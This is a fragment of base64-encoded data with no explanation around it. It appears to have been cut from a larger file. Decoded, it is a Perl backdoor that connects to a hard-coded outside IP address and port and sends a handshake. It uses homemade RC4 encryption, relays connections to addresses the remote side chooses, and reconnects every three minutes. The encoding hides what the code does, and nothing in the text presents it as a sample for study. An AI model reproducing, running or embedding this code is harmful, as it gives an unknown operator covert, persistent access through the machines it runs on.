gPSAwOwoJIAoJIG15ICRkb21haW47CgkgCgkgbXkgJHBvcnQwOwoJIAoJIG15IEBzb2NrZXRhcnI7CgkgCgkgbXkgQHNvY2tldGFycmF5OwoJIAoJIG15ICRidWZmZXIgPSAiXHgwMCIgeCAxMDA7CgkgCgkgbXkgJGJ1ZmZlcm51bGwgPSAiXHgwMCIgeCAzOwoJIAoJIG15ICRidWZmZXIwID0gIlx4MDAiIHggNjU1MzY7CgkgCgkgbXkgJGJ1ZmZlcjEgPSAiXHgwMCIgeCA2NTUzNjsKCSAKCSBteSAkaXNFeGl0ID0gMDsKCSAKCSBteSAkX3JldDAgPSAwOwoJIAoJIG15ICRlY3ggPSAwOwoJIAoJIG15ICRlYXggPSAwOwoJIAoJIG15ICRkYXRhID0gMDsKCSAKCSBteSAkX3JldCA9IDA7CgkgCgkgbXkgJGVieCA9IDA7CgkgCgkgbXkgJGVkeCA9IDA7CgkgCgkgbXkgJGNvdW50ZXIgPSAwOwoJIAoJIG15ICRjb3VudGNjID0gMDsKCQkgCgkgbXkgJHJpbiA9ICcnOwoJIAoJIG15ICRmbGFnczsKCSAKCSBteSAkc3RyX3dlYyA9ICJceDAwXHgwMCI7CgkgCgkgZm9yIChteSAkaSA9IDA7ICRpIDwgMjAwOyAkaSsrKSB7ICRzb2NrZXRhcnJheVskaV0gPSAwOyB9CgkgCgkgbXkgJHJlc3BvbmNlID0gIlx4MDBceDBBXHgwMFx4MDVceDAxXHgwMFx4MDFceDAwXHgwMFx4MDBceDAwXHgwMFx4MDAiOwoJIAoJIHNvY2tldCgkc29ja2V0YXJyWzBdLCBQRl9JTkVULCBTT0NLX1NUUkVBTSwgZ2V0cHJvdG9ieW5hbWUoJ3RjcCcpKTsKCSAKCSBzZXRzb2Nrb3B0KCRzb2NrZXRhcnJbMF0sIElQUFJPVE9fVENQLCBUQ1BfTk9ERUxBWSwgMSk7CgkgCgkgc2V0c29ja29wdCgkc29ja2V0YXJyWzBdLCBTT0xfU09DS0VULCBTT19SQ1ZCVUYsIDY1NTM2KTsKCSAKICAgICBzZXRzb2Nrb3B0KCRzb2NrZXRhcnJbMF0sIFNPTF9TT0NLRVQsIFNPX1NOREJVRiwgNjU1MzYpOwoJIAoJIG15ICRwYWRkciA9IHNvY2thZGRyX2luKCQkcG9ydCwgaW5ldF9hdG9uKCQkaG9zdCkpOwoJIAoJIHVubGVzcyhjb25uZWN0KCRzb2NrZXRhcnJbMF0sICRwYWRkcikpIHsgZ290byBjbG9zZTA7IH0KCSAKCSBzdWJzdHIoJGJ1ZmZlciwgMCwgNTApID0gJHhvcmRhdGE7CgkgCgkgc3Vic3RyKCRidWZmZXIsIDUwLCAyKSA9ICJceEZGXHhGRiI7CgkgCgkgc3Vic3RyKCRidWZmZXIsIDU0LCAxMSkgPSAiR09PRFBFUkwiOwoJIAoJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJGJ1ZmZlciwgNTAsIDUwKTsKCSAKCSBzeXN3cml0ZSgkc29ja2V0YXJyWzBdLCAkYnVmZmVyLCBsZW5ndGgoJGJ1ZmZlcikpOwoJIAoJIHdoaWxlKDEpIHsKCQkgCgkJICRjb3VudGNjID0gMDsKCQkgCgkJICRyaW4gPSAnJzsKCQkgCgkJIGZvciAobXkgJGkgPSAxOyAkaSA8IDIwMDsgJGkrKykgewoJCSAKCQkJIGlmICgkc29ja2V0YXJyYXlbJGldID09IDEpIHsKCQkJCSAKCQkJCSB2ZWMoJHJpbiwgZmlsZW5vKCRzb2NrZXRhcnJbJGldKSwgMSkgPSAxOwoJCQkJIAoJCQkJICRjb3VudGNjKys7CgkJCSB9CgkJIH0KCQkgCgkJIGlmICgkY291bnRjYyA+IDApIHsKCQkJIAoJCQkgdW5sZXNzIChzZWxlY3QoJHJpbiwgdW5kZWYsIHVuZGVmLCAwLjAwMSkpIHsgZ290byBuZXh0X187IH0KCQkJIAoJCQkgZm9yIChteSAkaSA9IDE7ICRpIDwgMjAwOyAkaSsrKSB7CgkJCQkgCgkJCQkgaWYgKCgkc29ja2V0YXJyYXlbJGldID09IDEpICYmIHZlYygkcmluLCBmaWxlbm8oJHNvY2tldGFyclskaV0pLCAxKSkgewoJCQkJCSAKCQkJCQkgJGRhdGEgPSBzeXNyZWFkKCRzb2NrZXRhcnJbJGldLCAkYnVmZmVyMSwgNjU1MzAsIDMpOwoJCQkJIAoJCQkJCSB1bmxlc3MgKCRkYXRhKSB7CgkJCQkJIAoJCQkJCQkgJHNvY2tldGFycmF5WyRpXSA9IDA7CgkJCQkJIAoJCQkJCQkgY2xvc2UoJHNvY2tldGFyclskaV0pOwoJCQkJCQkgCgkJCQkJCSB2ZWMoJHJlc3BvbmNlLCAwLCA4KSA9ICRpOwoJCSAKCQkJCQkJIHN1YnN0cigkcmVzcG9uY2UsIDEsIDIpID0gIlx4MDBceDAwIjsKCQkJCQkJIAoJCQkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkcmVzcG9uY2UsIDAsIDMpOwoJCSAKCQkJCQkJIHN5c3dyaXRlKCRzb2NrZXRhcnJbMF0sICRyZXNwb25jZSwgMywgMCk7CgkJCQkJIAoJCQkJCSB9CgkJCQkgCgkJCQkJIGVsc2UgewoJCQkJCQkgCgkJCQkJCSB2ZWMoJGJ1ZmZlcjEsIDAsIDgpID0gJGk7CgkJCQkJCSAKCQkJCQkJIHZlYygkc3RyX3dlYywgMCwgMTYpID0gJGRhdGE7CgkJCQkJCSAKCQkJCQkJIHN1YnN0cigkYnVmZmVyMSwgMSwgMSkgPSBzdWJzdHIoJHN0cl93ZWMsIDEsIDEpOwoJCQkJCQkgCgkJCQkJCSBzdWJzdHIoJGJ1ZmZlcjEsIDIsIDEpID0gc3Vic3RyKCRzdHJfd2VjLCAwLCAxKTsKCQkJCQkJIAoJCQkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVyMSwgMCwgMyk7CgkJIAoJCQkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVyMSwgMywgJGRhdGEpOwoJCQkJIAoJCQkJCQkgc3lzd3JpdGUoJHNvY2tldGFyclswXSwgJGJ1ZmZlcjEsIDMgKyAkZGF0YSk7CgkJCQkJIAoJCQkJCSB9CgkJCQkgfQoJCQkgfQoJCSB9CgkJIAoJCSBuZXh0X186CgkJIAoJCSBpZiAoJHJlbWFpbmluZzQgIT0gNCkgewoJCQkgCgkJCSAkcmluID0gJyc7CgkJCSAKCQkJIHZlYygkcmluLCBmaWxlbm8oJHNvY2tldGFyclswXSksIDEpID0gMTsKCQkJIAoJCQkgbXkgJHJldCA9IHNlbGVjdCgkcmluLCB1bmRlZiwgdW5kZWYsIDAuMDEpOwoJCQkgCgkJCSBuZXh0IGlmICgkcmV0IDwgMCk7CgkJCSAKCQkJIGlmICgkcmV0ID09IDApIHsKCQkJCSAKCQkJCSAkY291bnRlcisrOwoJCQkJIAoJCQkJIGlmICgkY291bnRlciA9PSAxMDAgKiA2MCkgewoJCQkJCSAKCQkJCQkgJGNvdW50ZXIgPSAwOwoKCQkJCQkgbGFzdCBpZiAoc3Vic3RyKCRidWZmZXJudWxsLCAwLCAzKSBuZSAiXHgwMFx4MDBceDAwIik7CgkJCQkgCgkJCQkJIGxhc3QgaWYgKCRyZW1haW5pbmcgIT0gMCk7CgkJCQkgCgkJCQkJIGxhc3QgaWYgKCRyZW1haW5pbmc0ICE9IDApOwoJCQkJIAoJCQkJCSBSYzRfY3J5cHQoXCR4b3JkYXRhLCA1MCwgXCRidWZmZXJudWxsLCAwLCAzKTsKCQkJCSAKCQkJCQkgc3lzd3JpdGUoJHNvY2tldGFyclswXSwgJGJ1ZmZlcm51bGwsIGxlbmd0aCgkYnVmZmVybnVsbCkpOwoJCQkJIH0KCQkJCSAKCQkJCSBuZXh0OwoJCQl9CgkJCSAKCQl9CgkJIAoJCSBpZiAoJHJlbWFpbmluZyAhPSAwIHx8ICRyZW1haW5pbmc0ID09IDQpIHsKCQkJIAoJCQkgaWYgKCRlZHggPT0gMCkgewoJCQkJIAoJCQkJIGlmIChzdWJzdHIoJGJ1ZmZlcjAsIDAsIDEpIGVxICJceEZGIiAmJiBzdWJzdHIoJGJ1ZmZlcjAsIDEsIDEpIGVxICJceEZFIikgewoJCQkJCSAKCQkJCQkgJGlzRXhpdCA9IDE7CgkJCQkJIAoJCQkJCSBsYXN0OwoJCQkJCSAKCQkJCX0KCQkJCSAKCQkJCSBlbHNpZiAoJGVieCA8IDIwMCAmJiAkZWJ4ID4gMCAmJiAkc29ja2V0YXJyYXlbJGVieF0gPT0gMSkgewoJCQkJIAoJCQkJCSAkc29ja2V0YXJyYXlbJGVieF0gPSAwOwoJCQkJCSAKCQkJCQkgY2xvc2UoJHNvY2tldGFyclskZWJ4XSk7CgkJCQkJIAoJCQkJCSB2ZWMoJHJlc3BvbmNlLCAwLCA4KSA9ICRlYng7CgkJCQkJIAoJCQkJCSBzdWJzdHIoJHJlc3BvbmNlLCAxLCAyKSA9ICJceDAwXHgwMCI7CgkJIAoJCQkJCSBSYzRfY3J5cHQoXCR4b3JkYXRhLCA1MCwgXCRyZXNwb25jZSwgMCwgMyk7CgkJIAoJCQkJCSBzeXN3cml0ZSgkc29ja2V0YXJyWzBdLCAkcmVzcG9uY2UsIDMsIDApOwoJCQkJIAoJCQkJfQoJCQkKCQkJfQoJCQkKCQkJZWxzZSB7CgkJCQkKCQkJCSAkZWN4ID0gJGVkeDsKCQkJCQoJCQkJICRlY3ggPSAkZWN4IC0gJHJlbWFpbmluZzsKCQkJCSAKCQkJCSAkZGF0YSA9IHN5c3JlYWQoJHNvY2tldGFyclswXSwgJGJ1ZmZlcjAsICRlY3gsICRyZW1haW5pbmcgKyA0KTsKCQkJCQoJCQkJIHVubGVzcyAoJGRhdGEpIHsgbGFzdDsgfQoJCQkJIAoJCQkJICRyZW1haW5pbmcgKz0gJGRhdGE7CgkJCQkgCgkJCQkgaWYgKCRlZHggPT0gJHJlbWFpbmluZykgewoJCQkJCSAKCQkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVyMCwgNCwgJHJlbWFpbmluZyk7CgkJCQkJIAoJCQkJCSBpZiAodmVjKCRidWZmZXIwLCAwLCA4KSA9PSAwKSB7CgkJCQkJCSAKCQkJCQkJIHNvY2tldCgkc29ja2V0YXJyWyRlYnhdLCBQRl9JTkVULCBTT0NLX1NUUkVBTSwgZ2V0cHJvdG9ieW5hbWUoJ3RjcCcpKTsKCQkJCQkJIAoJCQkJCQkgJF9yZXQwID0gMDsKCQkJCQkJIAoJCQkJCQkgJHNvY2tldGFycmF5WyRlYnhdID0gMTsKCQkJCQkJIAoJCQkJCQkgc3Vic3RyKCRyZXNwb25jZSwgMCwgMTMpID0gIlx4MDBceDBBXHgwMFx4MDVceDAxXHgwMFx4MDFceDAwXHgwMFx4MDBceDAwXHgwMFx4MDAiOwoJCQkJCQkgCgkJCQkJCSB2ZWMoJHJlc3BvbmNlLCAwLCA4KSA9ICRlYng7CgkJCQkJCSAKCQkJCQkJIHNldHNvY2tvcHQoJHNvY2tldGFyclskZWJ4XSwgSVBQUk9UT19UQ1AsIFRDUF9OT0RFTEFZLCAxKTsKCQkJCQkJIAoJCQkJCQkgc2V0c29ja29wdCgkc29ja2V0YXJyWyRlYnhdLCBTT0xfU09DS0VULCBTT19SQ1ZCVUYsIDY1NTM2KTsKCSAKCQkJCQkJIHNldHNvY2tvcHQoJHNvY2tldGFyclskZWJ4XSwgU09MX1NPQ0tFVCwgU09fU05EQlVGLCA2NTUzNik7CgkJCQkJCSAKCQkJCQkJIGZjbnRsKCRzb2NrZXRhcnJbJGVieF0sIEZfU0VURkwsIGZjbnRsKCRzb2NrZXRhcnJbJGVieF0sIEZfR0VURkwsIDApIHwgT19OT05CTE9DSyk7CgkJCQkJCSAKCQkJCQkJIGlmICh2ZWMoJGJ1ZmZlcjAsIDcsIDgpID09IDMpIHsKCQkJCgkJCQkJCQkgJGRvbWFpbiA9IHN1YnN0cigkYnVmZmVyMCwgOSwgdmVjKCRidWZmZXIwLCA4LCA4KSk7CgkJCQoJCQkJCQkJIHN1YnN0cigkc3RyX3dlYywgMCwgMSkgPSBzdWJzdHIoJGJ1ZmZlcjAsIDkgKyB2ZWMoJGJ1ZmZlcjAsIDgsIDgpICsgMCwgMSk7CgkJCQkJCQkgCgkJCQkJCQkgc3Vic3RyKCRzdHJfd2VjLCAxLCAxKSA9IHN1YnN0cigkYnVmZmVyMCwgOSArIHZlYygkYnVmZmVyMCwgOCwgOCkgKyAxLCAxKTsKCQkJCQkJCgkJCQkJCQkgJHBvcnQwID0gdmVjKCRzdHJfd2VjLCAwLCAxNik7CgkJCQoJCQkJCQkgfQoJCQoJCQkJCQkgZWxzaWYgKHZlYygkYnVmZmVyMCwgNywgOCkgPT0gMSkgewoJCQkKCQkJCQkJCSAkZG9tYWluID0gc3ByaW50ZigiJWQuJWQuJWQuJWQiLCB2ZWMoJGJ1ZmZlcjAsIDggKyAwLCA4KSwgdmVjKCRidWZmZXIwLCA4ICsgMSwgOCksIHZlYygkYnVmZmVyMCwgOCArIDIsIDgpLCB2ZWMoJGJ1ZmZlcjAsIDggKyAzLCA4KSk7CgkJCQoJCQkJCQkJIHN1YnN0cigkc3RyX3dlYywgMCwgMSkgPSBzdWJzdHIoJGJ1ZmZlcjAsIDEyICsgMCwgMSk7CgkJCQkJCQkgCgkJCQkJCQkgc3Vic3RyKCRzdHJfd2VjLCAxLCAxKSA9IHN1YnN0cigkYnVmZmVyMCwgMTIgKyAxLCAxKTsKCQkJCQkJCSAKCQkJCQkJCSAkcG9ydDAgPSAgdmVjKCRzdHJfd2VjLCAwLCAxNik7CgkJCQoJCQkJCQkgfQoJCQoJCQkJCQkgZWxzZSB7CgkJCQoJCQkJCQkJIGdvdG8gY2xvc2VfOwoJCQkJCQkgfQoJCQkJCQkgCgkJCQkJCSBldmFsIHsKCQkJIAoJCQkJCQkJIG15ICRwYWRkciA9IHNvY2thZGRyX2luKCRwb3J0MCwgaW5ldF9hdG9uKCRkb21haW4pKTsKCQkKCQkJCQkJCSBjb25uZWN0KCRzb2NrZXRhcnJbJGVieF0sICRwYWRkcik7CgkJIAoJCQkJCQkJIHZlYyhteSAkd2luID0gJycsIGZpbGVubygkc29ja2V0YXJyWyRlYnhdKSwgMSkgPSAxOwoKCQkJCQkJCSB1bmxlc3MgKHNlbGVjdCh1bmRlZiwgJHdpbiwgdW5kZWYsIDEpKSB7IGdvdG8gY2xvc2VfOyB9CgkJCQoJCQkJCQkJIGZjbnRsKCRzb2NrZXRhcnJbJGVieF0sIEZfU0VURkwsIGZjbnRsKCRzb2NrZXRhcnJbJGVieF0sIEZfR0VURkwsIDApIF4gT19OT05CTE9DSyk7CgkJIAoJCQkJCQkJIHN1YnN0cigkcmVzcG9uY2UsIDQsIDEpID0gIlx4MDAiOwoJCSAKCQkJCQkJCSAkX3JldDAgPSAxOwoJCQkgCgkJCQkJCSB9OwoJCSAKCQkJCQkJIGNsb3NlXzoKCQkJCQkJIAoJCQkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkcmVzcG9uY2UsIDAsIDMpOwoJCSAKCQkJCQkJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJHJlc3BvbmNlLCAzLCAxMCk7CgkJIAoJCQkJCQkgc3lzd3JpdGUoJHNvY2tldGFyclswXSwgJHJlc3BvbmNlLCBsZW5ndGgoJHJlc3BvbmNlKSk7CgkJCQkJCSAKCQkJCQkJIGlmICgkX3JldDAgPT0gMCkgewoJCQkJCQkJIAoJCQkJCQkJICRzb2NrZXRhcnJheVskZWJ4XSA9IDA7CgkJIAoJCQkJCQkJIGNsb3NlKCRzb2NrZXRhcnJbJGVieF0pOwoJCQkJCQkJIAoJCQkJCQkJIHZlYygkcmVzcG9uY2UsIDAsIDgpID0gJGVieDsKCQkJCQkJCSAKCQkJCQkJCSBzdWJzdHIoJHJlc3BvbmNlLCAxLCAyKSA9ICJceDAwXHgwMCI7CgkJIAoJCQkJCQkJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJHJlc3BvbmNlLCAwLCAzKTsKCQkgCgkJCQkJCQkgc3lzd3JpdGUoJHNvY2tldGFyclswXSwgJHJlc3BvbmNlLCAzLCAwKTsKCQkJCQkJCSAKCQkJCQkJIH0KCQkJCQkJIAoJCQkJCX0KCQkJCQkKCQkJCQkgZWxzaWYgKCRzb2NrZXRhcnJheVskZWJ4XSA9PSAxKSB7CgkJCQkJCSAKCQkJCQkJIHN5c3dyaXRlKCRzb2NrZXRhcnJbJGVieF0sICRidWZmZXIwLCAkcmVtYWluaW5nLCA0KTsKCQkJCQkJIAoJCQkJCQkgCgkJCQkJfQoJCQkJCSAKCQkJCQkgJHJlbWFpbmluZyA9IDA7CgkJCQl9CgkJCQkKCQkJfQoJCQkgCgkJCSAkcmVtYWluaW5nNCA9IDA7CgkJCSAKCQl9CgkJCgkJZWxzZSB7CgkJCQoJCQkgJGVheCA9IDQ7CgkJCQoJCQkgJGVheCA9ICRlYXggLSAkcmVtYWluaW5nNDsKCQkJIAoJCQkgJGRhdGEgPSBzeXNyZWFkKCRzb2NrZXRhcnJbMF0sICRidWZmZXIwLCAkZWF4LCAkcmVtYWluaW5nNCk7CgkJCSAKCQkJIHVubGVzcyAoJGRhdGEpIHsgbGFzdDsgfQoJCQkgCgkJCSAkcmVtYWluaW5nNCArPSAkZGF0YTsKCQkJIAoJCQkgc3Vic3RyKCRidWZmZXJudWxsLCAwLCAzKSA9ICJceDAwXHgwMFx4MDAiOwoJCQkgCgkJCSAkY291bnRlciA9IDA7CgkJCSAKCQkJIGlmICgkcmVtYWluaW5nNCA9PSA0KSB7CgkJCQkgCgkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVyMCwgMCwgNCk7CgkJCQkgCgkJCQkgJGVieCA9IHZlYygkYnVmZmVyMCwgMSwgOCk7CgkJCQkgCgkJCQkgc3Vic3RyKCRzdHJfd2VjLCAwLCAxKSA9IHN1YnN0cigkYnVmZmVyMCwgMywgMSk7CgkJCQkgCgkJCQkgc3Vic3RyKCRzdHJfd2VjLCAxLCAxKSA9IHN1YnN0cigkYnVmZmVyMCwgMiwgMSk7CgkJCQkgCgkJCQkgJGVkeCA9IHZlYygkc3RyX3dlYywgMCwgMTYpOwoJCQkgCgkJCQkgJF9yZXQgPSAxOwoJCQl9CgkJCQoJCX0KCX0KCQoJIGNsb3NlMDoKCSAKCSBjbG9zZSgkc29ja2V0YXJyWzBdKTsKCSAKCSBmb3IgKG15ICRpID0gMDsgJGkgPCAyMDA7ICRpKyspIHsKCgkJIGlmICgkc29ja2V0YXJyYXlbJGldID09IDEpIHsgY2xvc2UoJHNvY2tldGFyclskaV0pOyB9CgkJIAoJIH0KCSAKCSBpZiAoJGlzRXhpdCA9PSAxKSB7IGV4aXQ7IH0KCSAKCSByZXR1cm4gJF9yZXQ7Cgp9Cgp3aGlsZSgxKQp7CgkgYmNjbmN0KFwkaG9zdCwgXCRwb3J0KTsKCSAKCSBzbGVlcCAxODA7Cn0K" x "IyEvdXNyL2Jpbi9lbnYgcGVybAoKdXNlIHN0cmljdDsKdXNlIHdhcm5pbmdzOwp1c2UgU29ja2V0Owp1c2UgU29ja2V0IHF3KElQUFJPVE9fVENQIFRDUF9OT0RFTEFZKTsKdXNlIEZjbnRsIHF3KEZfR0VURkwgRl9TRVRGTCBPX05PTkJMT0NLKTsKCm15ICRob3N0ID0gJzM2LjI1NS45OC4xNjQnOwpteSAkcG9ydCA9IDQwMDE7CgpteSAkeG9yZGF0YSA9ICJceDAwIiB4IDUwOwoKZm9yIChteSAkaSA9IDA7ICRpIDwgNTA7ICRpKyspIHsgdmVjKCR4b3JkYXRhLCAkaSwgOCkgPSBpbnQocmFuZCgyNTUpKTsgfQoKc3ViIFJjNF9jcnlwdCB7CgkgCgkgbXkgJHBhc3N3ID0gc2hpZnQoQF8pOwoJIAoJIG15ICRsZW5ndGggPSBzaGlmdChAXyk7CgkgCgkgbXkgJGJ1ZmYwID0gc2hpZnQoQF8pOwoJIAoJIG15ICRzdGFydCA9IHNoaWZ0KEBfKTsKCSAKCSBteSAkc3ogPSBzaGlmdChAXyk7CgkgCgkgbXkgJHJjNCA9ICJceDAwIiB4IDI1NjsKCSAKCSBteSAkcG9ja2Vtb24wID0gMDsKCQoJIG15ICRwb2NrZW1vbjEgPSAwOwoJCgkgbXkgJHBvY2tlbW9uMiA9IDA7CgkKCSBteSAkcG9ja2Vtb24zID0gMDsKCQoJIG15ICRwb2NrZW1vbjQgPSAwOwoJCgkgbXkgJHBvY2tlbW9uNyA9IDA7CgkKCSBteSAkcG9ja2Vtb244ID0gMDsKCSAKCSBteSAkcmN4ID0gJHN6OwoJIAoJIG15ICRyc2kgPSAwOwoJIAoJIG15ICRyYnggPSAwOwoJIAoJIG15ICRncyA9IDA7CgkgCgkgdmVjKCRyYzQsICRfLCA4KSA9ICRfIGZvciAwLi4yNTU7CgkgCgkgZG8gewoJCSAKCQkgdmVjKCQkYnVmZjAsICRzdGFydCArICRyc2ksIDgpID0gKHZlYygkJGJ1ZmYwLCAkc3RhcnQgKyAkcnNpLCA4KSBeIHZlYygkJHBhc3N3LCAkcmJ4LCA4KSk7CgkJIAoJCSAkcnNpKys7CgkJCgkJICRyYngrKzsKCQkKCQkgJHJjeC0tOwoJCQoJCSBpZiAoJHJieCA9PSAkbGVuZ3RoKSB7CgkJCSAKCQkJICRyYnggPSAwOwoJCX0KCQkgCgl9IHdoaWxlKCRyY3ggPiAwKTsKCQoJCgkgd2hpbGUoMSkgewoJCSAKCQkgaWYgKCRncyA9PSAwKSB7CgkJCSAKCQkJICRwb2NrZW1vbjIgPSAwOwoKCQkJICRwb2NrZW1vbjMgPSAkbGVuZ3RoOwoJCX0KCQkgCgkJIGlmICgkZ3MgIT0gMCkgewoJCQkgCgkJCSAkZ3MgPSAwOwoKCQkJICRwb2NrZW1vbjIrKzsKCgkJCSBpZiAoLS0kcG9ja2Vtb24zID09IDApIHsgbmV4dDsgfQoJCQkgCgkJfQoJCQoJCSAkcG9ja2Vtb243ID0gdmVjKCRyYzQsICRwb2NrZW1vbjAsIDgpOwoJCSAKCQkgJHBvY2tlbW9uMSArPSB2ZWMoJCRwYXNzdywgJHBvY2tlbW9uMiwgOCk7CgoJCSAkcG9ja2Vtb24xID0gJHBvY2tlbW9uMSAmIDI1NTsKCgkJICRwb2NrZW1vbjEgKz0gJHBvY2tlbW9uNzsKCgkJICRwb2NrZW1vbjEgPSAkcG9ja2Vtb24xICYgMjU1OwoKCQkgdmVjKCRyYzQsICRwb2NrZW1vbjAsIDgpID0gdmVjKCRyYzQsICRwb2NrZW1vbjEsIDgpOwoKCQkgdmVjKCRyYzQsICRwb2NrZW1vbjEsIDgpID0gJHBvY2tlbW9uNzsKCQkgCgkJICRwb2NrZW1vbjArKzsKCgkJICRwb2NrZW1vbjAgPSAkcG9ja2Vtb24wICYgMjU1OwoJCSAKCQkgaWYgKCRwb2NrZW1vbjAgIT0gMCkgewoJCQkgCgkJCSAkZ3MgPSAxOwoJCQkgCgkJCSBuZXh0OwoJCX0KCQkKCQkgJHBvY2tlbW9uNCA9ICRzejsKCgkJICRwb2NrZW1vbjEgPSAwOwoKCQkgJHBvY2tlbW9uMCA9IDA7CgoJCSAkcG9ja2Vtb24yID0gMDsKCgkJICRwb2NrZW1vbjMgPSAwOwoJCSAKCQkgd2hpbGUoMSkgewoJCQkgCgkJCSAkcG9ja2Vtb24yKys7CgoJCQkgJHBvY2tlbW9uMiA9ICRwb2NrZW1vbjIgJiAyNTU7CgoJCQkgJHBvY2tlbW9uNyA9IHZlYygkcmM0LCAkcG9ja2Vtb24yLCA4KTsKCQkJIAoJCQkgJHBvY2tlbW9uMSArPSAkcG9ja2Vtb243OwoKCQkJICRwb2NrZW1vbjEgPSAkcG9ja2Vtb24xICYgMjU1OwoKCQkJICRwb2NrZW1vbjggPSB2ZWMoJHJjNCwgJHBvY2tlbW9uMSwgOCk7CgkJCSAKCQkJIHZlYygkcmM0LCAkcG9ja2Vtb24yLCA4KSA9ICRwb2NrZW1vbjg7CgkJCSAKCQkJIHZlYygkcmM0LCAkcG9ja2Vtb24xLCA4KSA9ICRwb2NrZW1vbjc7CgoJCQkgJHBvY2tlbW9uOCArPSAkcG9ja2Vtb243OwoJCgkJCSAkcG9ja2Vtb244ID0gJHBvY2tlbW9uOCAmIDI1NTsKCQkJIAoJCQkgdmVjKCQkYnVmZjAsICRzdGFydCArICRwb2NrZW1vbjMsIDgpID0gdmVjKCRyYzQsICRwb2NrZW1vbjgsIDgpIF4gdmVjKCQkYnVmZjAsICRzdGFydCArICRwb2NrZW1vbjMsIDgpOwoJCQkgCgkJCSAkcG9ja2Vtb24zKys7CgkJCSAKCQkJIGlmICgtLSRwb2NrZW1vbjQgPT0gMCkKCQkJIHsKCQkJCSBsYXN0OwoJCQkgfQoJCQkgCgkJfQoJCSAKCQkgbGFzdDsKCX0KCQoJICRyc2kgPSAwOwoJCgkgJHJjeCA9ICRzejsKCQoJICRyYnggPSAwOwoJCgkgZG8gewoJCSAKCQkgdmVjKCQkYnVmZjAsICRzdGFydCArICRyc2ksIDgpID0gKHZlYygkJGJ1ZmYwLCAkc3RhcnQgKyAkcnNpLCA4KSBeIHZlYygkJHBhc3N3LCAkcmJ4LCA4KSk7CgkJIAoJCSAkcnNpKys7CgkJCgkJICRyYngrKzsKCQkKCQkgJHJjeC0tOwoJCQoJCSBpZiAoJHJieCA9PSAkbGVuZ3RoKSB7CgkJCSAKCQkJICRyYnggPSAwOwoJCX0KCQkgCgl9IHdoaWxlKCRyY3ggPiAwKTsKCQp9CgpzdWIgYmNjbmN0IHsKCgkgbXkgJGhvc3QgPSBzaGlmdChAXyk7CgkgCgkgbXkgJHBvcnQgPSBzaGlmdChAXyk7CgkgCgkgbXkgJHJlbWFpbmluZyA9IDA7CgkgCgkgbXkgJHJlbWFpbmluZzQgPSAwOwoJIAoJIG15ICRkb21haW47CgkgCgkgbXkgJHBvcnQwOwoJIAoJIG15IEBzb2NrZXRhcnI7CgkgCgkgbXkgQHNvY2tldGFycmF5OwoJIAoJIG15ICRidWZmZXIgPSAiXHgwMCIgeCAxMDA7CgkgCgkgbXkgJGJ1ZmZlcm51bGwgPSAiXHgwMCIgeCAzOwoJIAoJIG15ICRidWZmZXIwID0gIlx4MDAiIHggNjU1MzY7CgkgCgkgbXkgJGJ1ZmZlcjEgPSAiXHgwMCIgeCA2NTUzNjsKCSAKCSBteSAkaXNFeGl0ID0gMDsKCSAKCSBteSAkX3JldDAgPSAwOwoJIAoJIG15ICRlY3ggPSAwOwoJIAoJIG15ICRlYXggPSAwOwoJIAoJIG15ICRkYXRhID0gMDsKCSAKCSBteSAkX3JldCA9IDA7CgkgCgkgbXkgJGVieCA9IDA7CgkgCgkgbXkgJGVkeCA9IDA7CgkgCgkgbXkgJGNvdW50ZXIgPSAwOwoJIAoJIG15ICRjb3VudGNjID0gMDsKCQkgCgkgbXkgJHJpbiA9ICcnOwoJIAoJIG15ICRmbGFnczsKCSAKCSBteSAkc3RyX3dlYyA9ICJceDAwXHgwMCI7CgkgCgkgZm9yIChteSAkaSA9IDA7ICRpIDwgMjAwOyAkaSsrKSB7ICRzb2NrZXRhcnJheVskaV0gPSAwOyB9CgkgCgkgbXkgJHJlc3BvbmNlID0gIlx4MDBceDBBXHgwMFx4MDVceDAxXHgwMFx4MDFceDAwXHgwMFx4MDBceDAwXHgwMFx4MDAiOwoJIAoJIHNvY2tldCgkc29ja2V0YXJyWzBdLCBQRl9JTkVULCBTT0NLX1NUUkVBTSwgZ2V0cHJvdG9ieW5hbWUoJ3RjcCcpKTsKCSAKCSBzZXRzb2Nrb3B0KCRzb2NrZXRhcnJbMF0sIElQUFJPVE9fVENQLCBUQ1BfTk9ERUxBWSwgMSk7CgkgCgkgc2V0c29ja29wdCgkc29ja2V0YXJyWzBdLCBTT0xfU09DS0VULCBTT19SQ1ZCVUYsIDY1NTM2KTsKCSAKICAgICBzZXRzb2Nrb3B0KCRzb2NrZXRhcnJbMF0sIFNPTF9TT0NLRVQsIFNPX1NOREJVRiwgNjU1MzYpOwoJIAoJIG15ICRwYWRkciA9IHNvY2thZGRyX2luKCQkcG9ydCwgaW5ldF9hdG9uKCQkaG9zdCkpOwoJIAoJIHVubGVzcyhjb25uZWN0KCRzb2NrZXRhcnJbMF0sICRwYWRkcikpIHsgZ290byBjbG9zZTA7IH0KCSAKCSBzdWJzdHIoJGJ1ZmZlciwgMCwgNTApID0gJHhvcmRhdGE7CgkgCgkgc3Vic3RyKCRidWZmZXIsIDUwLCAyKSA9ICJceEZGXHhGRiI7CgkgCgkgc3Vic3RyKCRidWZmZXIsIDU0LCAxMSkgPSAiR09PRFBFUkwiOwoJIAoJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJGJ1ZmZlciwgNTAsIDUwKTsKCSAKCSBzeXN3cml0ZSgkc29ja2V0YXJyWzBdLCAkYnVmZmVyLCBsZW5ndGgoJGJ1ZmZlcikpOwoJIAoJIHdoaWxlKDEpIHsKCQkgCgkJICRjb3VudGNjID0gMDsKCQkgCgkJICRyaW4gPSAnJzsKCQkgCgkJIGZvciAobXkgJGkgPSAxOyAkaSA8IDIwMDsgJGkrKykgewoJCSAKCQkJIGlmICgkc29ja2V0YXJyYXlbJGldID09IDEpIHsKCQkJCSAKCQkJCSB2ZWMoJHJpbiwgZmlsZW5vKCRzb2N